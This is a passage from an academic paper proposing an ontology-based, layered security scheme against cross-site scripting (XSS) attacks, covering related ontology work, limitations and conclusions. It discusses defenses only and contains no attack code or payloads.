These are the reasons why, in our ontology scheme, it is recommended that a maximum
of security layers should be used in order to keep up with all already known excellent
techniques cyberspace needs to improve its security.

Various ontologies have been described so far to enhance the cybersecurity. However,
most of them rely only on the signature-based, not focus on XSS attack.

The initial step towards creating ontology is to survey the literature to adopt what
other researchers have already achieved. Therefore, we have focused our research par-
ticularly on these topics: ontology for attack detection in web application, cyberattack
ontologies, ontologies against XSS attacks, cyber-crimes, an intelligent approach to web ap-
plication security (ontologies for intelligence), and ontology for cybersecurity operational
information, semantic rules, and mitigation of XSS attacks.

4.5. Pros and Cons of Cybersecurity Ontology

Since 2014, the ontology in cybersecurity has tremendously gotten more and more
attention, and an ongoing debate concerning its importance and necessity. Some organi-
zations reported that using cybersecurity ontologies helped them discover new product
capabilities and use their resources more efficiently. Some cybersecurity professionals
stated that ontologies can be very beneficial for risky exposures, for describing frequent vul-
nerabilities, and weak spots that can even effectively harm mobile-enabled organizations
and employees.

On the negative side, some cybersecurity professionals believe that ontology is slug-
gish and hamper possible updates of the tools and services used within it. Our stand about
the two is that, ontology is very beneficial, but must be properly used. Ontology should
require a cyclic process. Allowing the feature of the cycle helps the system to be checked
again and again, and updating the software and tools which are in use. In our scheme
above, we require the necessity of “update” in the “Countermeasures” block.

Each company faces various types of challenges when it comes to cybersecurity.
Therefore, it is up to the cybersecurity professionals to decide whether such approach
would be fruitful to them.
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Figure 7. Our proposed ontology scheme for XSS attacks in cybersecurity.

5. Related Work

We have studied several research papers that encompass the semantic systems and
information security in order to build our ontology scheme against XSS attacks. A few of
them are outlined below, and the rest are listed in the bibliography section:

For instance, an ontology proposed by Debashis Mandal and Chandan Mazumdar
was introduced for enterprise information security policy analysis (see [59] for more detail).
Lalit Mohan S. et al., 2021, have proceeded to a deep learning approach to enrich ISO
27001 based information security ontology [60]. The ontology of Takeshi Takahashi [8]
did not take a special care of monitoring the XSS, and neither having a special research
about it. The ontology presented by Abdul Razzaq [61] Van Heerden, Chan, Leenen and
Theron [62] focused mainly on attack planning. A conceptual characterization of cyber-
security ontologies has introduced by Beatriz et al. (2020 [63]), in which they focused
on the search of some existing cybersecurity ontologies and the analysis of the results.
Helmar Hutschenreuter, et al. 2021, have introduced an ontology-based cybersecurity and
resilience framework, in which they combined a Security Information and Event Man-
agement Systems (SIEM) to detect cyberattacks with ontologies. They also deployed an
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inference system to support the selection of measures during the cyber incidents [64]. Cy-
berattacks nowadays have an exceedingly augmentation due to the COVID-19 pandemic
that heats the world unexpectedly (Harjinder Singh 2020 [65]). Therefore, employing an
ontology in cybersecurity will significantly be a good choice.

A very simple of ontology of network security proposed by Danny Velasco Silva and
Glen Rodríguez Rafael [58], provides an improved management to make proper and timely
decisions that maintain network security.

An Ontology of Information Security (Herzog et al., 2007 [66]) by Almut Herzog et al.
described ontological modeling and its main concepts such as assets, threats, vulnerabilities,
countermeasures and their relationships. Assets are linked to vulnerabilities, and threats
are connected with security goals which are targets of the threat, and countermeasures
used to protect the assets from these threats. The proposed ontological model is able to
query and create new knowledge through the process of inference and reasoning. However,
it does not take into account the web application attacks like SQL Injection and XSS.

Abdoli et al., 2010 [67], developed ontology against attacks taking computers and
networks as a target, and they have focused their attention on the importance of such
ontology in information security.

According to Mario Maroun (2021 [68]) the goal of the cybersecurity ontology is to
turn the operational chaos into a framework of meaningful, relevant and multiple pieces of
knowledge, transforming it into a systematic model of means by which the protection of
systems can be improved. He has introduced their ontology for cybersecurity recruitment.
In some existing cybersecurity ontologies, there is a necessity to incorporate data from the
different systems. Data integration facilitates connected resources to take advantage of
various sources to create new services (please see [69] for more information). This kind
of issues are adjusted by “Unified Cyber Security” commonly known as UCO, which
is developed in such a way that it supports the integration of cybersecurity data into
cybersecurity systems (Zareen Syed [70]).

The ontology of Zareen can serve as a core for the field of cybersecurity, which
will strengthen and grow with supplementary datasets as they become available. Their
approach is very important in such a way that, it brings together information from multiple
sources and supports the creation of rules. It also supports the capture of specialized
knowledge in the field of cybersecurity and the deduction of new data from existing data.

6. Limitations and Contribution

The goal of this research is to build an ontology that is able to help mitigate the XSS
attacks in cybersecurity. Comparing to some other ontologies which most of them rely only
on signature-based (please see page 333), our approach is built to a higher extent, in which
it relies on the “proper establishment of security layers” including signature-based. Most of
these ontologies did not take a special care of the cross-site-scripting attacks, by requiring
for example the installation of some IDS products, user-input validation mechanism, audit
and alert software available for the administrative management (department). By using our
proposed scheme properly in cybersecurity, it will enhance the detection and mitigation
of the attacks. Our ontology scheme is reusable and it can also be applied to some other
attacks, such as SQL injection.

7. Conclusions

Depending on the project in question, ontology may be very large (however, still
understandable). Starting with a new ontology from scratch can be a puzzle. Fortunately,
thanks to the property of “re-usability”, there will be just a need of modifying an existing
one according to your needs. It is apparent that an ontology in a cyber hemisphere requires
the separation of duties; besides, the supervision of the system is extremely important
(it can be done by the administrator or any trusty party) for the process to achieve better
results in terms of enhancing the security and preventing incidents or attacks.
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This paper presents the architecture of the ontology-based semantic web to address
the topic of cross-site-scripting (XSS) attacks in cybersecurity. It proposes a method that
requires the establishment of security layers correctly. As for example, the feature of “audit
and alert” to the administrative management is used whenever (if in case) a skeptical
input traverses all the other security layers which were set by the security engineers. The
results of our study revealed that the ontology in itself cannot really enhance the security
of a network institution, thus it has to be properly used. That means, a proper validation
mechanism (sanitization, filter) has to be put in place for any user-input, installed products
on the server-side have to be up-to-date, human resources and data resources for the
separation of duties have to be well managed.

As technology continues to expand and hackers perpetually form and launch attacks,
thus in our future work the approach of XSS attacks using ontology in cybersecurity will
be addressed in a meticulous way. This will facilitate to fight against the zero-day attack.
Furthermore, note that, there are two very serious factors that can entrave the security
performance, they are “browser” and “user”. What type of browsers are used, if the
browsers have some built-in tools (such as NoScript, for example) to mitigate the XSS
attacks. The sound judgement of the user when it comes to clicking on links. Therefore,
in our future work the factor of using outdated browsers, type of browsers will also be
addressed, to effectively mitigate the attacks to a higher extent. Furthermore, attackers can
go through wireless network as a primary step of hacking to start with. Thus, a systematic
review on clone node detection in static wireless sensor networks will also be addressed.

The proposed scheme is a modern approach for application of semantic technologies in
web application security, particularly for XSS attacks. The inference potentiality facilitates
our reference ontology to attain more stamps of approval to such an extent that it provides
capability of detecting complex web attacks. Besides, by using semantic rules, the model
becomes more reliable and more flexible.
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Abbreviations

The following abbreviations are used in this manuscript:
XSS Cross-Site-Scripting
IDS Intrusion Detection System
DOM Document Object Model
SVG Scalable Vector Graphic
XML Extensible Markup Language
RDF Resource Description Framework
RDFS Resource Description Framework Schema
OWL Ontology Web Language
UCO Unified Cybersecurity Ontology
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